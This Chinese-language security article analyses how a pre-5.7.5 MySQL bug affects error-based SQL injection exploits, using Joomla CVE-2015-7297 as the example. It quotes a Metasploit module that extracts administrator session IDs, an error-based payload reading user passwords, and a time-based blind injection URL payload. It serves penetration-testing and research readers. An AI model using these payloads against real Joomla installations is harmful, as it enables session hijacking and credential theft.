你的PoC和EXP可能得改改了
字数 1028 2025-08-18 11:38:49

MySQL 5.7.5 之前版本的BUG对POC/EXP编写的影响分析

一、BUG概述

在MySQL 5.7.5之前的所有主版本中存在一个关键BUG,该BUG可能导致基于报错的SQL注入POC/EXP需要重新编写或修正。

BUG信息链接: https://bugs.mysql.com/bug.php?id=58081

二、BUG复现方法

可以通过以下SQL语句复现该问题:

set names latin1;
drop table if exists t1;
create table t1(a int) engine=myisam;
insert into t1 values (0),(0),(1),(0),(0);
select count(*) from t1, t1 t2 group by insert('', t2.a, t1.a,(@@global.max_binlog_size));

在MySQL版本低于5.7.5中,执行以上SQL语句会报如下错误:

Duplicate entry '107374182410737418241' for key 'group_key'

三、对POC/EXP的影响分析

3.1 报错注入原理

传统报错型SQL注入POC/EXP的编写思路:

  1. 构造特定SQL语句使WEB应用执行
  2. 让应用将包含查询结果的报错信息打印出来
  3. 从报错信息中提取敏感数据

以Joomla的CVE-2015-7297漏洞为例:

在Joomla 3.4.4b版本的/administrator/components/com_contenthistory/views/history/view.html.php文件中,存在以下代码:

if (count($errors = $this->get('Errors'))) {
    JError::raiseError(500, implode("\n", $errors));
    return false;
}

当SQL语句执行出错时,会将错误信息直接打印出来。

3.2 Metasploit中的利用示例

Metasploit框架中的利用模块(joomla_contenthistory_sqli_rce.rb)通过报错注入获取管理员session:

def sqli(tableprefix)
  sql = "(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id"
  
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, "index.php"),
    'vars_get' => {
      'option' => 'com_contenthistory',
      'view' => 'history',
      'list[ordering]' => '',
      'item_id' => '1',
      'type_id' => '1',
      'list[select]' => sql
    }
  })

实际执行的SQL语句:

SELECT (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from `u6egd_session` WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id ,uc.name AS editor FROM `u6egd_ucm_history` AS h LEFT JOIN u6egd_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

3.3 BUG修复情况

  1. MySQL官方宣称在5.7.5版本彻底修复了该BUG
  2. 但实际上部分5.7.5之前的小版本也已经修复
  3. 后续在MySQL 5.7.27和8.0.17中又进行了相关修复

测试环境:

  • PHP 5.6.40
  • MySQL 5.7.26
  • Joomla 3.4.4

在修复后的环境中,传统报错注入Payload不再有效:

SELECT (select 1 from (select count(*),concat((select password from sb2ah_users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x),uc.name AS editor FROM `sb2ah_ucm_history` AS h LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

四、解决方案:时间盲注技术

在报错注入失效的情况下,可以采用基于时间的注入技术:

时间盲注Payload示例:

index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(SELECT 8533 FROM (SELECT(SLEEP(5)))x)

对应的SQL查询:

SELECT (SELECT 8533 FROM (SELECT(SLEEP(5)))x),uc.name AS editor FROM `sb2ah_ucm_history` AS h LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

通过观察响应时间的差异来判断注入是否成功以及提取数据。

五、总结

  1. MySQL 5.7.5之前的版本存在影响报错注入的BUG
  2. 该BUG的修复导致传统报错注入POC/EXP在部分环境中失效
  3. 安全研究人员需要:
    • 检查现有POC/EXP的兼容性
    • 增加时间盲注作为备选方案
    • 不能简单依赖"拿来主义",需要根据目标环境调整利用方式

建议:在实际渗透测试中,应同时准备报错注入和时间盲注两种技术方案,根据目标环境灵活选择。

MySQL 5.7.5 之前版本的BUG对POC/EXP编写的影响分析 一、BUG概述 在MySQL 5.7.5之前的所有主版本中存在一个关键BUG,该BUG可能导致基于报错的SQL注入POC/EXP需要重新编写或修正。 BUG信息链接 : https://bugs.mysql.com/bug.php?id=58081 二、BUG复现方法 可以通过以下SQL语句复现该问题: 在MySQL版本低于5.7.5中,执行以上SQL语句会报如下错误: 三、对POC/EXP的影响分析 3.1 报错注入原理 传统报错型SQL注入POC/EXP的编写思路: 构造特定SQL语句使WEB应用执行 让应用将包含查询结果的报错信息打印出来 从报错信息中提取敏感数据 以Joomla的CVE-2015-7297漏洞为例: 在Joomla 3.4.4b版本的 /administrator/components/com_contenthistory/views/history/view.html.php 文件中,存在以下代码: 当SQL语句执行出错时,会将错误信息直接打印出来。 3.2 Metasploit中的利用示例 Metasploit框架中的利用模块( joomla_contenthistory_sqli_rce.rb )通过报错注入获取管理员session: 实际执行的SQL语句: 3.3 BUG修复情况 MySQL官方宣称在5.7.5版本彻底修复了该BUG 但实际上部分5.7.5之前的小版本也已经修复 后续在MySQL 5.7.27和8.0.17中又进行了相关修复 测试环境 : PHP 5.6.40 MySQL 5.7.26 Joomla 3.4.4 在修复后的环境中,传统报错注入Payload不再有效: 四、解决方案:时间盲注技术 在报错注入失效的情况下,可以采用基于时间的注入技术: 时间盲注Payload示例 : 对应的SQL查询: 通过观察响应时间的差异来判断注入是否成功以及提取数据。 五、总结 MySQL 5.7.5之前的版本存在影响报错注入的BUG 该BUG的修复导致传统报错注入POC/EXP在部分环境中失效 安全研究人员需要: 检查现有POC/EXP的兼容性 增加时间盲注作为备选方案 不能简单依赖"拿来主义",需要根据目标环境调整利用方式 建议 :在实际渗透测试中,应同时准备报错注入和时间盲注两种技术方案,根据目标环境灵活选择。